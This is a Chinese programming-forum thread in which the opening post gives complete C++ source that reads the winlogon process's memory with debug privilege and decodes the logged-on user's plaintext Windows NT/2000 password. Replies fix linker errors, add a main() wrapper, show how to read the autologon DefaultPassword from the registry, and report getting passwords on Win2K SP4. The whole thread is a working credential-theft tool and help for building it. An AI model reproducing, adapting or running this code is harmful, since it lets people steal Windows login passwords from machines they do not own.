#include <stdio.h>
#include "stdafx.h"
#include <tchar.h>
#include "iostream.h"
#include <afx.h>
#include <process.h> 
#include <stddef.h>
#include <conio.h>
#include <stdlib.h>//#pragma comment (lib, "nafxcwd.lib")
#pragma comment (lib, "libcmt.lib")typedef struct _UNICODE_STRING 
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;// Undocumented typedef's
typedef struct _QUERY_SYSTEM_INFORMATION
{
DWORD GrantedAccess;
DWORD PID;
WORD HandleType;
WORD HandleId;
DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
DWORD Count;
DWORD Unk04;
DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
DWORD LoadAddress;
DWORD Size;
DWORD Unk08;
DWORD Enumerator;
DWORD Unk10;
char Name [0x108];
} PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
DWORD HashByte;
DWORD Unk04;
DWORD Unk08;
DWORD Unk0C;
FILETIME LoggedOn;
DWORD Unk18;
DWORD Unk1C;
DWORD Unk20;
DWORD Unk24;
DWORD Unk28;
UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION)  (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING)  (BYTE, PUNICODE_STRING);// Private Prototypes
BOOL IsWinNT (void);
BOOL IsWin2K (void);
BOOL AddDebugPrivilege (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
void DisplayPasswordWinNT (CString &Username,CString &Pwd);
void DisplayPasswordWin2K (CString &Username,CString &Pwd);// Global Variables
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];int __cdecl GetPasswordNT2K(CString &Username,CString &Pwd)
{
if ((!IsWinNT ())
&&
(!IsWin2K ()))
{
return (0);
} // Add debug privilege to PasswordReminder - 
// this is needed for the search for Winlogon.
if (!AddDebugPrivilege ())
{
return (0);
}

HINSTANCE hNtDll = 
LoadLibrary 
("NTDLL.DLL");
pfnNtQuerySystemInformation =
(PFNNTQUERYSYSTEMINFORMATION) GetProcAddress 
(hNtDll, 
"NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer =
(PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress 
(hNtDll, 
"RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation =
(PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress 
(hNtDll, 
"RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer =
(PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress 
(hNtDll, 
"RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString =
(PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress 
(hNtDll, 
"RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights.
DWORD WinLogonPID =
FindWinLogon ();
if (WinLogonPID == 0)
{
/* printf 
("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
printf 
("PasswordReminder is unable to find the password in memory.\n");
*/ FreeLibrary 
(hNtDll);
return (0);
}
/* printf 
("The WinLogon process id is %d (0x%8.8lx).\n", 
WinLogonPID, 
WinLogonPID);
*/
// Set values to check memory block against.
memset 
(UserName, 
0, 
sizeof (UserName));
memset 
(UserDomain, 
0, 
sizeof (UserDomain));
GetEnvironmentVariableW 
(L"USERNAME", 
UserName, 
0x400);
GetEnvironmentVariableW 
(L"USERDOMAIN", 
UserDomain, 
0x400); // Locate the block of memory containing 
// the password in WinLogon's memory space.
BOOL FoundPasswordPage = FALSE;
if (IsWin2K ())
FoundPasswordPage =
LocatePasswordPageWin2K 
(WinLogonPID, 
&PasswordLength);
else
FoundPasswordPage =
LocatePasswordPageWinNT 
(WinLogonPID, 
&PasswordLength); if (FoundPasswordPage)
{
if (PasswordLength == 0)
{
Username.Format
("%S/%S", 
UserDomain, 
UserName);
Pwd="There is no password.";
}
else
{
/*printf 
("The encoded password is found at 0x%8.8lx and has a length of %d.\n", 
RealPasswordP, 
PasswordLength);
*/ // Decode the password string.
if (IsWin2K ())
DisplayPasswordWin2K (Username,Pwd);
else
DisplayPasswordWinNT (Username,Pwd);
}
}
/*else
printf 
("PasswordReminder is unable to find the password in memory.\n");
*/
FreeLibrary 
(hNtDll);
return (1);
} // mainBOOL
IsWinNT
(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx 
(&OSVersionInfo))
return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
else
return (FALSE);
} // IsWinNTBOOL
IsWin2K
(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx 
(&OSVersionInfo))
return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
&&
(OSVersionInfo.dwMajorVersion == 5));
else
return (FALSE);
} // IsWin2KBOOL 
AddDebugPrivilege 
(void)
{
HANDLE Token;
TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
DWORD ReturnLength = 0;
if (OpenProcessToken 
(GetCurrentProcess (), 
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 
&Token))
if (LookupPrivilegeValue 
(NULL, 
"SeDebugPrivilege", 
&TokenPrivileges.Privileges[0].Luid))
{
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
return 
(AdjustTokenPrivileges
(Token,
FALSE,
&TokenPrivileges,
sizeof (TOKEN_PRIVILEGES),
&PreviousState,
&ReturnLength));
}
return (FALSE);
} // AddDebugPrivilege// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.

解决方案 »

  1.   

    DWORD 
    FindWinLogon 
    (void)
    {
    #define INITIAL_ALLOCATION 0x100
    DWORD rc = 0;
    DWORD SizeNeeded = 0;
    PVOID InfoP = 
    HeapAlloc 
    (GetProcessHeap (),
    HEAP_ZERO_MEMORY,
    INITIAL_ALLOCATION);
    // Find how much memory is required.
    pfnNtQuerySystemInformation 
    (0x10, 
    InfoP, 
    INITIAL_ALLOCATION, 
    &SizeNeeded);
    HeapFree 
    (GetProcessHeap (),
    0,
    InfoP);
    // Now, allocate the proper amount of memory.
    InfoP = 
    HeapAlloc 
    (GetProcessHeap (),
    HEAP_ZERO_MEMORY,
    SizeNeeded);
    DWORD SizeWritten = SizeNeeded;
    if (pfnNtQuerySystemInformation 
    (0x10, 
    InfoP, 
    SizeNeeded, 
    &SizeWritten))
    {
    HeapFree 
    (GetProcessHeap (),
    0,
    InfoP);
    return (0);
    }
    DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
    if (NumHandles == 0)
    {
    HeapFree 
    (GetProcessHeap (),
    0,
    InfoP);
    return (0);
    }
    PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
    (PQUERY_SYSTEM_INFORMATION) InfoP;
    DWORD i;
    for (i = 1; i <= NumHandles; i++)
    {
    // "5" is the value of a kernel object type process.
    if (QuerySystemInformationP->HandleType == 5)
    {
    PVOID DebugBufferP =
    pfnRtlCreateQueryDebugBuffer 
    (0, 
    0);
    if (pfnRtlQueryProcessDebugInformation 
    (QuerySystemInformationP->PID,
    1,
    DebugBufferP) == 0)
    {
    PPROCESS_INFO_HEADER ProcessInfoHeaderP =
    (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60);
    DWORD Count =
    ProcessInfoHeaderP->Count;
    PPROCESS_INFO ProcessInfoP =
    (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER));
    if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0)
    {
    DWORD i;
    DWORD dw = (DWORD) ProcessInfoP;
    for (i = 0; i < Count; i++)
    {
    dw += sizeof (PROCESS_INFO);
    ProcessInfoP = (PPROCESS_INFO) dw;
    if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
    return (0);
    if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
    rc = 
    QuerySystemInformationP->PID;
    }
    if (DebugBufferP)
    pfnRtlDestroyQueryDebugBuffer 
    (DebugBufferP);
    HeapFree 
    (GetProcessHeap (),
    0,
    InfoP);
    return (rc);
    }
    }
    if (DebugBufferP)
    pfnRtlDestroyQueryDebugBuffer 
    (DebugBufferP);
    }
    DWORD dw = (DWORD) QuerySystemInformationP;
    dw += sizeof (QUERY_SYSTEM_INFORMATION);
    QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
    }
    HeapFree 
    (GetProcessHeap (),
    0,
    InfoP);
    return (rc);
    } // FindWinLogonBOOL 
    LocatePasswordPageWinNT 
    (DWORD WinLogonPID, 
    PDWORD PasswordLength)
    {
    #define USER_DOMAIN_OFFSET_WINNT 0x200
    #define USER_PASSWORD_OFFSET_WINNT 0x400
    BOOL rc = FALSE;
    HANDLE WinLogonHandle =
    OpenProcess 
    (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
    FALSE, 
    WinLogonPID);
    if (WinLogonHandle == 0)
    return (rc);
    *PasswordLength = 0;
    SYSTEM_INFO SystemInfo;
    GetSystemInfo 
    (&SystemInfo);
    DWORD PEB = 0x7ffdf000; 
    DWORD BytesCopied = 0;
    PVOID PEBP = 
    HeapAlloc
    (GetProcessHeap (),
    HEAP_ZERO_MEMORY,
    SystemInfo.dwPageSize);
    if (!ReadProcessMemory
    (WinLogonHandle,
    (PVOID) PEB,
    PEBP,
    SystemInfo.dwPageSize,
    &BytesCopied))
    {
    CloseHandle 
    (WinLogonHandle);
    return (rc);
    }
    // Grab the value of the 2nd DWORD in the TEB.
    PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;
    if (VirtualQueryEx
    (WinLogonHandle,
    (PVOID) *WinLogonHeap,
    &MemoryBasicInformation,
    sizeof (MEMORY_BASIC_INFORMATION)))
    if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
    &&
    ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
    {
    PVOID WinLogonMemP = 
    HeapAlloc
    (GetProcessHeap (),
    HEAP_ZERO_MEMORY,
    MemoryBasicInformation.RegionSize);
    if (ReadProcessMemory
    (WinLogonHandle,
    (PVOID) *WinLogonHeap,
    WinLogonMemP,
    MemoryBasicInformation.RegionSize,
    &BytesCopied))
    {
    DWORD i = (DWORD) WinLogonMemP;
    DWORD UserNamePos = 0;
    // The order in memory is UserName followed by the UserDomain.
    do
    {
    if ((wcscmp (UserName, (wchar_t *) i) == 0)
    &&
    (wcscmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
    {
    UserNamePos = i;
    break;
    }
    i += 2;
    } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
    if (UserNamePos)
    {
    PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
    (PENCODED_PASSWORD_INFO) 
    ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
    FILETIME LocalFileTime;
    SYSTEMTIME SystemTime;
    if (FileTimeToLocalFileTime
    (&EncodedPasswordInfoP->LoggedOn,
    &LocalFileTime))
    if (FileTimeToSystemTime
    (&LocalFileTime,
    &SystemTime))
    printf 
    ("You logged on at %d/%d/%d %d:%d:%d\n",
    SystemTime.wMonth,
    SystemTime.wDay,
    SystemTime.wYear,
    SystemTime.wHour,
    SystemTime.wMinute,
    SystemTime.wSecond);
    *PasswordLength = 
    (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
    HashByte = 
    (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
    RealPasswordP = 
    (PVOID) (*WinLogonHeap + 
    (UserNamePos - (DWORD) WinLogonMemP) + 
    USER_PASSWORD_OFFSET_WINNT + 0x34);
    PasswordP = 
    (PVOID) ((PBYTE) (UserNamePos +  
    USER_PASSWORD_OFFSET_WINNT + 0x34));
    rc = TRUE;
    }
    }
    } HeapFree
    (GetProcessHeap (),
    0,
    PEBP);
    CloseHandle 
    (WinLogonHandle);
    return (rc);
    } // LocatePasswordPageWinNTBOOL 
    LocatePasswordPageWin2K 
    (DWORD WinLogonPID, 
    PDWORD PasswordLength)
    {
      

  2.   

    #define USER_DOMAIN_OFFSET_WIN2K 0x400
    #define USER_PASSWORD_OFFSET_WIN2K 0x800
    HANDLE WinLogonHandle =
    OpenProcess 
    (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
    FALSE, 
    WinLogonPID);
    if (WinLogonHandle == 0)
    return (FALSE);
    *PasswordLength = 0;
    SYSTEM_INFO SystemInfo;
    GetSystemInfo 
    (&SystemInfo);
    DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
    DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
    DWORD Increment = SystemInfo.dwPageSize;
    MEMORY_BASIC_INFORMATION MemoryBasicInformation;
    while (i < MaxMemory)
    {
    if (VirtualQueryEx
    (WinLogonHandle,
    (PVOID) i,
    &MemoryBasicInformation,
    sizeof (MEMORY_BASIC_INFORMATION)))
    {
    Increment = MemoryBasicInformation.RegionSize;
    if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
    &&
    ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
    {
    PVOID RealStartingAddressP =
    HeapAlloc 
    (GetProcessHeap (),
    HEAP_ZERO_MEMORY,
    MemoryBasicInformation.RegionSize);
    DWORD BytesCopied = 0;
    if (ReadProcessMemory
    (WinLogonHandle,
    (PVOID) i,
    RealStartingAddressP,
    MemoryBasicInformation.RegionSize,
    &BytesCopied))
    {
    if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
    &&
    (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
    {
    RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
    PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
    // Calculate the length of encoded unicode string.
    PBYTE p = (PBYTE) PasswordP;
    DWORD Loc = (DWORD) p;
    DWORD Len = 0;
    if ((*p == 0)
    &&
    (* (PBYTE) ((DWORD) p + 1) == 0))
    ;
    else
    do
    {
    Len++;
    Loc += 2;
    p = (PBYTE) Loc;
    } while 
    (*p != 0);
    *PasswordLength = Len;
    CloseHandle 
    (WinLogonHandle);
    return (TRUE);
    }
    }
    HeapFree 
    (GetProcessHeap (),
    0,
    RealStartingAddressP);
    }
    }
    else
    Increment = SystemInfo.dwPageSize;
    // Move to next memory block.
    i += Increment;
    }
    CloseHandle 
    (WinLogonHandle);
    return (FALSE);
    } // LocatePasswordPageWin2Kvoid 
    DisplayPasswordWinNT 
    (CString &Username,CString &Pwd)
    {
    UNICODE_STRING EncodedString;
    EncodedString.Length = 
    (WORD) PasswordLength * sizeof (wchar_t);
    EncodedString.MaximumLength = 
    ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
    EncodedString.Buffer = 
    (PWSTR) HeapAlloc
    (GetProcessHeap (),
    HEAP_ZERO_MEMORY,
    EncodedString.MaximumLength);
    CopyMemory 
    (EncodedString.Buffer, 
    PasswordP, 
    PasswordLength * sizeof (wchar_t));
    // Finally - decode the password.
    // Note that only one call is required since the hash-byte
    // was part of the orginally encoded string.
    pfnRtlRunDecodeUnicodeString 
    ((BYTE) HashByte, 
    &EncodedString);
    Username.Format
    ("%S/%S", 
    UserDomain, 
    UserName);
    Pwd.Format("%S",EncodedString.Buffer);
    /* printf 
    ("The hash byte is: 0x%2.2x.\n", 
    HashByte);
    */ HeapFree
    (GetProcessHeap (),
    0,
    EncodedString.Buffer);
    } // DisplayPasswordWinNTvoid 
    DisplayPasswordWin2K 
    (CString &Username,CString &Pwd)
    {
    DWORD i, Hash = 0;
    UNICODE_STRING EncodedString;
    EncodedString.Length = 
    (USHORT) PasswordLength * sizeof (wchar_t);
    EncodedString.MaximumLength = 
    ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
    EncodedString.Buffer =
    (PWSTR) HeapAlloc 
    (GetProcessHeap (),
    HEAP_ZERO_MEMORY,
    EncodedString.MaximumLength);
    // This is a brute force technique since the hash-byte
    // is not stored as part of the encoded string - :>(.
    for (i = 0; i <= 0xff; i++)
    {
    CopyMemory 
    (EncodedString.Buffer, 
    PasswordP, 
    PasswordLength * sizeof (wchar_t));
    // Finally - try to decode the password.
    pfnRtlRunDecodeUnicodeString 
    ((BYTE) i, 
    &EncodedString);
    // Check for a viewable password.
    PBYTE p = (PBYTE) EncodedString.Buffer;
    BOOL Viewable = TRUE;
    DWORD j, k;
    for (j = 0; (j < PasswordLength) && Viewable; j++)
    {
    if ((*p)
    &&
    (* (PBYTE)(DWORD (p) + 1) == 0))
    {
    if (*p < 0x20)
    Viewable = FALSE;
    if (*p > 0x7e)
    Viewable = FALSE;
    }
    else
    Viewable = FALSE;
    k = DWORD (p);
    k++; k++;
    p = (PBYTE) k;
    }
    if (Viewable)
    {
    Username.Format 
    ("%S/%S", 
    UserDomain, 
    UserName);
    Pwd.Format("%S",EncodedString.Buffer);
    }
    }
    HeapFree 
    (GetProcessHeap (),
    0,
    EncodedString.Buffer);
    }------------------------------------
    哪位高手能帮忙解释一下这段代码。
    如何获得win2000当前的户名和密码,请教高手!!
      

  3.   

    先是一大堆警告, 后是一大堆链接错误. 求救!!!
    我用的IDE是vs.net2003
    错误如下GetNtPassword error LNK2005: __dosmaperr 已经在 LIBCD.lib(dosmap.obj) 中定义
    GetNtPassword error LNK2005: __getmbcp 已经在 LIBCD.lib(mbctype.obj) 中定义
    GetNtPassword error LNK2005: __setmbcp 已经在 LIBCD.lib(mbctype.obj) 中定义
    GetNtPassword error LNK2005: ___initmbctable 已经在 LIBCD.lib(mbctype.obj) 中定义
    GetNtPassword error LNK2005: ___iob_func 已经在 LIBCD.lib(_file.obj) 中定义
    GetNtPassword error LNK2005: ___initstdio 已经在 LIBCD.lib(_file.obj) 中定义
    GetNtPassword error LNK2005: ___endstdio 已经在 LIBCD.lib(_file.obj) 中定义
    GetNtPassword error LNK2005: __cflush 已经在 LIBCD.lib(_file.obj) 中定义
    GetNtPassword error LNK2005: __iob 已经在 LIBCD.lib(_file.obj) 中定义
    GetNtPassword error LNK2005: __isctype 已经在 LIBCD.lib(isctype.obj) 中定义
    GetNtPassword error LNK2005: _signal 已经在 LIBCD.lib(winsig.obj) 中定义
    GetNtPassword error LNK2005: _raise 已经在 LIBCD.lib(winsig.obj) 中定义
    GetNtPassword error LNK2005: __XcptFilter 已经在 LIBCD.lib(winxfltr.obj) 中定义
    GetNtPassword error LNK2005: ___CppXcptFilter 已经在 LIBCD.lib(winxfltr.obj) 中定义
    GetNtPassword error LNK2005: __XcptActTabCount 已经在 LIBCD.lib(winxfltr.obj) 中定义
    GetNtPassword error LNK2005: __Num_FPE 已经在 LIBCD.lib(winxfltr.obj) 中定义
    GetNtPassword error LNK2005: __First_FPE_Indx 已经在 LIBCD.lib(winxfltr.obj) 中定义
    GetNtPassword error LNK2005: __XcptActTab 已经在 LIBCD.lib(winxfltr.obj) 中定义
    GetNtPassword error LNK2005: __lseek 已经在 LIBCD.lib(lseek.obj) 中定义
    GetNtPassword error LNK2005: __set_osfhnd 已经在 LIBCD.lib(osfinfo.obj) 中定义
    GetNtPassword error LNK2005: __free_osfhnd 已经在 LIBCD.lib(osfinfo.obj) 中定义
    GetNtPassword error LNK2005: __get_osfhandle 已经在 LIBCD.lib(osfinfo.obj) 中定义
    GetNtPassword error LNK2005: __alloc_osfhnd 已经在 LIBCD.lib(osfinfo.obj) 中定义
    GetNtPassword error LNK2005: __open_osfhandle 已经在 LIBCD.lib(osfinfo.obj) 中定义
    GetNtPassword warning LNK4098: 默认库“libcmt.lib”与其他库的使用冲突;使用 /NODEFAULTLIB:library
    GetNtPassword fatal error LNK1169: 找到一个或多个多重定义的符号
      

  4.   

    首先,给你一个肯定的答案,这个代码可以得到密码。其次,新建一个工程“Win32 Console Application”,再把这些内容复制到主CPP文件中,即可正常编译。已经测试过。
      

  5.   

    呵呵,看这行不:
    CRegKey m_Key;
    if(m_Key.Open(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon")==ERROR_SUCCESS)
    {
    char strValue[1024];
    DWORD pSize=1024;
    CString strLoginUserName;
    CString strLoginPassword;
    if(m_Key.QueryValue(strValue,"DefaultUserName",&pSize)!=ERROR_SUCCESS)
    {m_Key.QueryValue(strValue,"DefaultUserName",&pSize);}
    strLoginUserName=strValue;
    if(m_Key.QueryValue(strValue,"DefaultPassword",&pSize)!=ERROR_SUCCESS)
    {m_Key.QueryValue(strValue,"DefaultPassword",&pSize);}
    strLoginPassword=strValue;
    }
    else
    {
    }
    m_Key.Close();
    注册表中记录管理员密码的地址:
    HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\WinlogonAutoAdminLogon="1"
    DefaultUserName="Administrator"
    DefaultPassword="问你自己"
    DefaultDomainName="问你自己"
      

  6.   

    这段代码我看过,可以得到2000的当前用户密码,不过在XP下不好使
    你新建的工程应该是“Win32 Console Application”,就没问题了
      

  7.   

    试过了 win32 conosole application 然后工程设定use mfc in xxx...
    GetPasswordNT2K这个函数就ok了
    强,去研究。。
      

  8.   

    几年前我也看过这个了只能win2000下用
      

  9.   

    楼主只要把
    #pragma comment (lib, "libcmt.lib")
    注释掉就可以了,我试了一下,很好用!
      

  10.   

    还是不行啊,在VC6.0下编绎,错误为:
    libcmtd.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
    Debug/GetPasswordNT2K.exe : fatal error LNK1120: 1 unresolved externals
    Error executing link.exe.
      

  11.   

    大概看了一下,好像也没什么。
    先用几个native api得到winlogon的地址空间,然后把自身进程提升到调试进程级别,去调试winlogon进程。然后搜索地址空间就可以了。
      

  12.   

    你如果是控制台程序你要自己加个main,如下
    int main()
    {
    CString sName, sPass;
    GetPasswordNT2K(sName, sPass);
    cout << sName << ":" << sPass << endl;
    return 0;
    }
      

  13.   

    to ycxuyuq(注册失败) ( ):
    你在你的cpp文件的最末尾添加一个main函数即可:
    void main()
    void main()
    {
    CString strUser;
    CString strPwd;
    GetPasswordNT2K(strUser, strPwd); CString strMsg(_T(""));
    strMsg += "&Oacute;&Atilde;&raquo;§&Atilde;&ucirc;&pound;&ordm;"+ strUser + " &Atilde;&Uuml;&Acirc;&euml;&pound;&ordm;" + strPwd;
    AfxMessageBox(strMsg);
    }
      

  14.   

    其实不一定要控制台程序,随便建一个基于MFC的程序就可以了,你把这几个函数当成普通函数调用就可以了!
      

  15.   

    我是win2000,用户名和密码都得不出来,是不是跟装了service pack有关啊?
      

  16.   

    我怎么试了半天也没有成功啊
    你可以把编译好的源文件发给我吗,谢谢!!  [email protected]://expert.csdn.net/Expert/topic/2969/2969552.xml?temp=.2484552
    ---
    请查收
      

  17.   

    使用了undocumented的native api,当然和系统版本有关。
      

  18.   

    To: twlx_0 (流星)  
    已经给你发过去了
      

  19.   

    无法取得UserName 和 Pwd 。
    我用得的是Win2K advance sever sp4
      

  20.   

    这会不会是从win2000辕马中启发的
      

  21.   

    瞎说。我的机器打了N个补丁,包括sp4以及IE的一堆补丁。照样没问题。
    这个不是什么新技术了。
      

  22.   

    AfxMessageBox是在哪个头文件中?
      

  23.   

    强,编译通过,win2ksp4,成功得到用户名密码
      

  24.   

    果然成功取出我的系统密码,Win2K Professional SP4